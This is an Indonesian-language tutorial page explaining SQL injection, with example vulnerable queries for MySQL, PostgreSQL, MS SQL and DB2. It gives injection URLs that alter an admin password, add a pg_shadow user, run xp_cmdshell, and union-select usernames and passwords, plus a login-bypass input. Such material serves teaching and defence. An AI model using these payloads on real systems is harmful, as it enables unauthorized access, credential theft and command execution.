HOME

SQL Injection adalah sebuah teknik merubah perintah SQL yang ada untuk memperoleh akses ke data yang dilindungi atau bahkan mengeksekusi perintah yang menyangkut sistem pada suatu webserver.
Serangan ini mengandalkan rutin validasi input yang tidak dilindungi.
Seluruh Database merupakan komponen dasar dari aplikasi berbasiskan Web. Hal ini menjadikan website dapat menyimpan data seperti informasi user, rekaman pelanggan, berbagai form isian tertentu.
Aplikasi web yang interaktif berbasiskan database menggunakan Structured Query Language (SQL) yang secara dinamis berisikan data yang dikostumisasi sesuai kebutuhan user. Hal ini disempurnakan dengan aplikasi yang mengambil input user dan mengombinasikan dengan parameter statis untuk membangun sebuah query SQL. Query ini biasanya digunakan untuk memanggil kembali data yang diminta dari database yang kemudian menyajikannya ke hadapan user.
Model keamanan seperti banyak digunakan pada aplikasi web dengan anggapan bahwa sebuah Query SQL adalah perintah yang dapat dipercaya. Artinya bahwa Query SQL mampu mencegah kendali akses, yang mana harus melalui otentikasi standar dan pemeriksaan otorisasi. Dalam beberapa hal, Query SQL mengijinkan akses ke perintah-perintah tingkat operating sistem pada suatu Host. (Wouuwww!!!)

Ekploitasi Yang Terjadi
Beberapa aplikasi yang tidak melakukan validasi dan/atau sanitasi data input user secara benar dapat dieksploitasi dengan beberapa cara:
        www.detik.com
Perubahan Nilai-nilai SQL
- Hubungan Berbagai Statement SQL
- Menambahkan fungsi pemanggilan dan penyimpanan prosedur ke sebuah statement

Peranan dan Hubungan pemanggilan data
Contoh - Perubahan Nilai-nilai SQL

Pada program Mysql-Query:
UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';

Pengaksesan melalui Browser:
http://www.target.com/script?pwd=ngomo&uid=1'+or+uid+like'%25admin%25';--%00

Contoh - Menghubungkan berbagai SQL Statement
Pada program PostgreSql-Query:
SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

Pengaksesan melalui Browser:
http://www.target.com/script?0';insert+into+pg_shadow+usename+values+('hoschi');--

Contoh - Menambahkan fungsi calls dan stored-procedures ke sebuah statement
Pada program MS SQL-Query:
SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

Pengaksesan melalui Browser:
http://www.target.com/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c);--

Contoh - Peranan dan Hubungan pemanggilan data
Pada Program DB2-Query:
SELECT id,t_nr,x_nr,i_name,last_update,size FROM p_table WHERE size = '$INPUT[size]';

Pengaksesan melalui Browser:
http://www.target.com/script?size=0'+union+select+'1','1','1',concat(uname||'-'|| passwd)+as+i_name+'1'+'1'+from+usertable+where+uname+like+'25

Beberapa Contoh Ekploitasi pada SQL Server :
Contoh #1
Microsoft SQL Server memiliki dialek tersendiri dalam SQL, yang mana menggunakan Transact SQL (TSQL). Dalam hal ini kita dapat mengekploitasi kehebatan dari TSQL dengan beberapa cara sekedar untuk menunjukkan cara kerja SQL Injection. Perhatikan query berikut ini, yang berbasiskan suatu table user :
select userName from users where userName='' having 1=1

Jika Anda adalah seorang programmer SQL yang mahir, maka anda akan menyadari bahwa query ini menimbulkan suatu error. Kita dapat dengan mudah membuat halaman login.asp suatu database sasaran, yang menggunakan pengecekan login berikut:
Username: ' having 1=1 –-
Password: [sembarang]